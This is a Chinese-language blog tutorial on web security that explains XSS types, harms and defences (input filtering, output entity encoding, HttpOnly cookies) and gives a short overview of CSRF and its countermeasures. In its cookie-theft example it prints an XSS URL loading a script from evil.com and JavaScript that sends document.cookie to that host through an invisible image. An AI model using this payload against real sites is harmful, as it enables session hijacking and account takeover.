浅谈Web安全

XSS原理和攻防

跨站脚本(Cross Site Scripting)

XSS的原理是攻击者往Web页面插入恶意可执行网页脚本,当用户浏览这个页面的时候,嵌在网页中的脚本就会执行,从而达到窃取用户信息的目的

1596350960413

XSS的危害

  • 挂马
  • 盗取用户Cookie
  • DDOS(拒绝服务) 客户端浏览器
  • 钓鱼攻击
  • 删除目标文章、恶意篡改数据、嫁祸
  • 劫持用户Web行为,甚至进一步渗透内网
  • 爆发Web2.0蠕虫
  • 蠕虫式挂马攻击、刷广告、刷浏览、破坏网上数据

XSS的分类

1596351458259

  • 反射型XSS(非持久型XSS)——仅对当前访问的页面产生影响

    • 攻击者会让用户访问一个被篡改的URL,当用户访问该链接的时候就会触发预先插入网页中的脚本,从而达到攻击的目的
    https://xxx.com/xxx?test=<script>alert(document.cookie)</script>
    

    img

  • 持久性XSS(存储型XSS)——一般存在于表单提交等交互功能,如文章留言,提交文本信息等

    • 黑客利用的XSS漏洞,将攻击脚本经正常功能提交进入数据库持久保存,当前端页面获得后端从数据库中读出的注入代码时将其渲染执行

      img

XSS存在的原因

对URL中的参数或对用户提交输入的部分没有充分过滤,导致输入的不合法内容可以保存在web服务器

当用户再次读取代码时,保存的脚本将会执行做出危害用户的操作

1596351931806

XSS的实例——盗取用户的Cookie

Cookie一般保存当前用户的登录凭证。一旦被盗取,黑客可能通过Cookie直接登进用户的账户,进行恶意操作

  • 攻击者加载一个远程脚本

    http://localhost/xssTest/test.php?userName=<scriipt src=http://www.evil.com/evil.js></script>  
    
  • XSS Payload在远程脚本evil.js中,窃取用户Cookie

    let img=document.createElement("img");
    img.src="http://www.evil.com/log?"+escape(document.cookie);  
    document.body.appendChild(img);  
    
    • 插入不可见的图片,同时把document.cookie作为参数,发到远程服务器

XSS的防御

对输入(和URL参数)进行过滤,对输出进行编码,Cookie设置 http-only

  • 输入过滤处理

    • 对于引号、尖括号、斜杠进行转义
      • 包括用户输入、URL参数、POST请求参数、Ajax
    • 白名单过滤策略:只允许输入字母 + 数字等 或者 限制输入长度
    • 黑名单过滤策略:对 <script></script>等过滤
  • 输出格式化

    特殊字符 实体编码
    & &amp;
    < &lt;
    > &gt;
    " &quot;
    ' &#x27;
    / &#x2F;
  • Cookie设置 http-only

    • Web应用程序在设置cookie时,将其属性设为HttpOnly,就可以避免该网页的cookie被客户端恶意JavaScript窃取,保护用户cookie信息
  • 编程语言

    • https://github.com/leizongmin/js-xss

CSRF原理和攻防

跨站点请求伪造(Cross Site Request Forgery)

攻击者盗用你的身份,以你的名义发送恶意请求。

CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账。造成的问题包括:个人隐私泄露以及财产安全

img

CSRF的特点

  • csrf发生在第三方网站
  • csrf攻击获取不到cookie信息,只是使用

CSRF的防御

  • 尽量使用POST请求,Get请求不对数据进行修改

  • 不让第三方网站访问到用户Cookie

  • 阻止第三方网站请求接口

  • 请求时附带验证信息,比如验证码或者Token

参考文章

https://juejin.im/post/6844903797349859342

https://www.bilibili.com/video/BV1DW411U7XE?t=888

https://www.bilibili.com/video/BV1iW411171s?t=677

https://juejin.im/post/6855300688591880199

posted @ 2020-08-02 16:01  鱼一十三  阅读(274)  评论(0编辑  收藏  举报